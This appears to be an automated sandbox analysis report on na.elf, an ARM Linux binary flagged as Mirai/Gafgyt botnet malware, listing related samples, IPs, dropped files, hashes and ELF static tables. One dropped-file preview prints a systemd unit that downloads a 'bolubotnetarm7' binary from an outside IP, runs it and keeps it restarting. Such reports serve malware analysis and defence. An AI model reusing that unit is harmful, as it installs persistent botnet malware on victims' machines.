yi0key.heleh.com.vn	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	91.200.103.117
	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	91.200.103.117
	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	91.200.103.117
	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	91.200.103.117

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	na.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	91.189.91.42
	na.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	185.125.190.26
	na.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	WgRaU3h4k8.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	RdcuY1pZig.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	2xl3rbZjPq.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	QJ1MJ1roKY.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
INIT7CH	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	109.202.202.202
	na.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	WgRaU3h4k8.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202
	RdcuY1pZig.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202
	QJ1MJ1roKY.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	CoNziwSE6M.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	dQ10NiRRby.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	LsR22LZMVs.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
COMBAHTONcombahtonGmbHDE	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	91.200.103.117
	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	91.200.103.117
	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	91.200.103.117
	na.elf	Get hash	malicious	Mirai, Gafgyt, Moobot, Okiru	Browse	91.200.103.117
	7QiAmg58Jk.exe	Get hash	malicious	Metasploit, Meterpreter, Xmrig	Browse	194.59.31.31
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	194.59.31.225
	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201

Process:	/tmp/na.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.060253001935413
Encrypted:	false
SSDEEP:	6:z80WuKyRZAMzdK+ann0RJ5R0w+GWRo3N+GWRuwuOp+GWRQCdUO9LQmWA4Rv:zNRZAOK+aniR3+GWRg+GWRuwjp+GWRut
MD5:	136D85D19107D3A0F3CACF3DE2AA4463
SHA1:	A1DBE225D09321968D01EDA9B91EBA25D1F01379
SHA-256:	E34E61D40B4C90E67502824D121006D8238C1747A3D9993B0B324275506C5C5F
SHA-512:	42AF6EF829640FEC24F98C0EF57026E309F23311D2A39C58ACA731F69C21502427BC1E12F959D4E5F565ECE5BCFD949C7A8BA6E70FA916FAD251C000DF08B9B4
Malicious:	false
Reputation:	low
Preview:	[Unit].Description=Custom Sech Binary.After=network.target..[Service].ExecStart=/usr/bin/wget -O /tmp/bolu http://91.200.103.117/bolubotnetarm7.ExecStartPost=/bin/chmod +x /tmp/bolu.ExecStartPost=/tmp/bolu (null).ExecStartPost=rm -rf /tmp/bolu.Restart=always..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/qemu-open.rzupep (deleted)

Download File

Process:	/tmp/na.elf
File Type:	data
Category:	dropped
Size (bytes):	27
Entropy (8bit):	3.8100810205217304
Encrypted:	false
SSDEEP:	3:TgBDlT1N:TgB11N
MD5:	2E8B62CD5B9D6203300E1A0F79554430
SHA1:	B6FC563BCA171C6DFA5A420C367F090C08635F4D
SHA-256:	54E95E1B4FCA83E6C469DA79E05EC42CB5F190B5731F28A9DFF280136B7DCFA6
SHA-512:	81AA2A256AB3B2318A60A089336AB73F5257EF7F292F18A37EC069D7FDE400763D7BFA3D89586B610C80715A2443849E679559EB14DBF7C769869AA908067541
Malicious:	false
Reputation:	low
Preview:	/tmp/na.elf./tmp/nwlrbbmqbh

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	5.984875409135291
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	na.elf
File size:	159'775 bytes
MD5:	a90e60adfd6dcbfa16615dde5f96c3d4
SHA1:	2f6619597f57c3f51885382742378f48c715411e
SHA256:	0d02114b75777f43679564ba57a32e1e1fbe5c4ca4d759bd20f68657b08318fc
SHA512:	49fc5b2a2f9e9adffc29d4065b3766a8865b89f9150cc02c0b0dd76f5485727fbb1c92c043a61c41207effc6dbac8c92cf1abbf14bfa94359852d55965fe5f6f
SSDEEP:	3072:pX0ZAZk9ZrIE26aRE5/+kW5zmM+0/xJJNg3pu5M/9zXjjz:pEOy9ZU16aRE5/+k+zmMfJrg3poM/9zj
TLSH:	45F32B46EA408A17C4D6277ABADF42453323AB64D7DB33069918BFF43F8679E0E23505
File Content Preview:	.ELF..............(.........4...(.......4. ...(........p.v..........p...p...........................`x..`x..............`x..`x..`x.......t..............dx..dx..dx..................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	124200
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x1554c	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1d63c	0x1563c	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1d650	0x15650	0x2088	0x0	0x2	A	0	0	8
.ARM.extab	PROGBITS	0x1f6d8	0x176d8	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x1f6f0	0x176f0	0x170	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x27860	0x17860	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x27864	0x17864	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x27864	0x17864	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x27868	0x17868	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x2786c	0x1786c	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x27870	0x17870	0xac	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x2791c	0x1791c	0x2d8	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x27bf4	0x17bf4	0x711c	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x17bf4	0xcac	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x188a0	0x140	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x189e0	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x18bf3	0x2043	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x1ac36	0x6e2	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x1b318	0xe76	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x1c190	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x1c448	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1cd12	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x1dea1	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1e3f9	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1e40f	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1e9b0	0x59e0	0x10	0x0		28	834	4
.strtab	STRTAB	0x0	0x24390	0x2c8f	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x176f0	0x1f6f0	0x1f6f0	0x170	0x170	4.6778	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x17860	0x17860	6.1392	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x17860	0x27860	0x27860	0x394	0x74b0	4.2879	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x17864	0x27864	0x27864	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x1d63c	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x1d650	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x1f6d8	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x1f6f0	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x27860	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x27864	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x27864	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x27868	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x2786c	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x27870	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x2791c	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x27bf4	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
$a	.symtab	0x80d4	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1d63c	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80e0	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1d648	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8134	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8194	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x81d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x822c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8328	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8480	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x869c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8708	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8778	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8ba4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9238	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9854	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9c64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa664	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xac58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb350	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xba94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc248	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc694	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc934	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xce20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd258	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd8c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd914	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd964	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xda08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xda74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdcc0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdec8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdef4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe130	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe260	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe3c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe51c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe584	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe610	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf168	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf1c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf1f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf2f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf35c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf498	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf574	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf618	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf640	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfb48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfb6c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfc0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfcac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfd90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfdb8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfe00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfe24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfe48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfedc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1006c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x100fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10238	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10250	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10360	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10370	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x103bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x103dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10530	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10a7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10b00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10b04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10b58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10b68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10c94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10ea0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10fd0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10fd8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11060	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11128	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1123c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11380	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11394	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x113e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1142c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11434	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11438	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11464	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11470	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1147c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1169c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x117ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11808	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11868	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x118d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1198c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x119ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11af0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12038	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12040	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12048	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12050	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1210c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12150	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12864	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x128ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x128e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12968	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12974	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12980	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12a18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12b0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12b4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12bb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12bf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c80	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12cb8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12cf8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12d58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12d9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12ddc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12e14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12e58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12edc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12f1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12fa8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1300c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1304c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1307c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x130bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13138	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x132b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x133c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13490	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13554	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13604	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x136ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13720	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13a50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13a70	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13ad4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13b04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13b34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13b68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13c38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14098	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14118	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1427c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x142ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x143f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14bbc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14ca0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14ea4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15414	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15530	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x157e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15b8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15c2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15c64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15d20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15d30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15dd0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15df0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15e50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15e74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15f40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15f90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1608c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x160a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x161b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x161e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16204	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16280	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x162a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x162ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16360	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x163a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x163e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1645c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x164a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x164e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16528	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1656c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x165dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16624	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x166ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x166f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16760	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x167ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16834	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1687c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x168c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17270	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x173b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17770	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17c10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17c50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17d78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17d90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17e34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17eec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17fac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18050	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x180e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x181b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x182b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1839c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x183bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x183d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x185b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18674	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x187c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18de4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x191b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x191f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x192e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19334	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1938c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19394	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x193c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1941c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19424	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19454	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x194ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x194b4	0	NOTYPE	<unknown>	DEFAULT	2
